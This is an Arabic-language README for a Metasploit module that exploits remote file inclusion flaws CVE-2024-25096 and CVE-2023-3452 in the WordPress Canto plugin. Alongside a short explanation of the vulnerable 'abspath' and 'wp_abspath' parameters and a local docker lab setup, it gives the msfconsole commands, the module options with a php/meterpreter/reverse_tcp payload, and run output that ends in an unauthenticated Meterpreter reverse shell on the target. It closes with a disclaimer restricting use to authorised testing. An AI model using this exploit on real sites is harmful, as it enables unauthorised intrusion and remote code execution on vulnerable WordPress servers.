
هذه وحدة استغلال من Metasploit لـ CVE-2024-25096 وCVE-2023-3452
هذا الاستغلال هو استغلال إثبات عمل لثغرات تضمين الملفات البعيدة (RFI) CVE-2024-25096 و CVE-2023-3452، والتي تسمح للمهاجم بإنشاء جلسة قشرة بعيدة تفاعلية على الهدف.
تستغل CVE-2024-25096 معامل abspath، الذي يسمح بتضمين الملفات البعيدة عبر عبارة include_once. تتبع CVE-2023-3452 الإجراء نفسه، باستثناء أن المعامل “wp_abspath” يسمح بتضمين الملفات البعيدة عبر عبارة requiere_once. يتيح ذلك للمهاجم تنفيذ كود دون مصادقة على الخادم الهدف.
على الرغم من أن قواعد بيانات الثغرات تُدرج CVE-2023-3452 على أنها تؤثر على الإصدارات حتى 3.0.4، فقد أكدت الاختبارات أن الثغرة تظل قابلة للاستغلال حتى الإصدار 3.0.6. تم إصلاح المشكلة في الإصدار 3.0.7، وهو نفس الإصدار الذي يعالج CVE-2024-25096.
الشروط التالية مطلوبة ليكون الهدف عرضة للثغرة:
allow_url_include=On استنسخ هذا المستودع وحمّل إضافة canto
لاحظ أنه إذا أردت تحميل إصدار أقدم من Canto، فما عليك سوى نسخ الرابط وتغيير رقم الإصدار في الرابط إلى الإصدار الذي تفضّله.
شغّل الحاوية (docker-compose.yaml) بالأمر podman-compose up.
افتح http://localhost:8889/wp-admin/install.php في المتصفح الذي تختاره وأنشئ حساب ووردبريس.

بعد تسجيل الدخول، يمكنك تحديد ملف canto المضغوط وتثبيته من التبويب الإضافات -> إضافة إضافات جديدة -> رفع إضافة.

أضف الاستغلال (rce_exploit_cve_2024_25096.rb) إلى مجلد وحدات metasploit.
شغّل Metasploit (msfconsole) وأعد تحميل Metasploit (reload_all).
حدد الحمولة.
cp explit/wordpress_canto_plugin_file_include_rce.rb ~/.msf4/modules/exploits/
msfconsole
reload_all
search rce_exploit_cve_2024_25096
use 0
عيّن قيم المتغيرات المطلوبة
Module options (exploit/rce_exploit_cve_2024_25096):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http, socks5h
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8889 yes Port
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false yes Use SSL
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETFILE get.php yes Vulnerable PHP file
TARGETURI /wp-content/plugins/canto yes Path to cantos root directory
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.178.58 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPress Plugin <= 3.0.6
View the full module info with the info, or info -d command
شغّل الاستغلال ونأمل الأفضل ;)
[msf](Jobs:0 Agents:0) exploit(rce_exploit_cve_2024_25096) >> run
[*] Started reverse TCP handler on 192.168.178.58:4444
[*] Starting HTTP server...
[*] Using URL: http://192.168.178.58:8080/14Gs3AAu8j4
[*] Triggering RFI...
[*] Sending admin.php payload
[*] Sending stage (42137 bytes) to 192.168.178.58
[*] Meterpreter session 2 opened (192.168.178.58:4444 -> 192.168.178.58:54310) at 2026-03-01 20:15:23 +0100
[*] Server stopped.
(Meterpreter 2)(/var/www/html/wp-content/plugins/canto/includes/lib) >
يُقدَّم هذا المشروع لأغراض تعليمية وبحوث أمنية فقط.
لا يشجع المؤلف الأنشطة غير القانونية ولا يقرّها. أي استخدام لهذا الكود لمهاجمة أنظمة دون إذن ممنوع منعًا باتًا.
المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج. يتحمل المستخدمون مسؤولية ضمان امتثالهم لجميع القوانين واللوائح المعمول بها.
استخدم هذا الكود فقط في بيئات لديك فيها إذن صريح، مثل بيئات المختبرات، أو مهام اختبار الاختراق، أو البحث الأمني.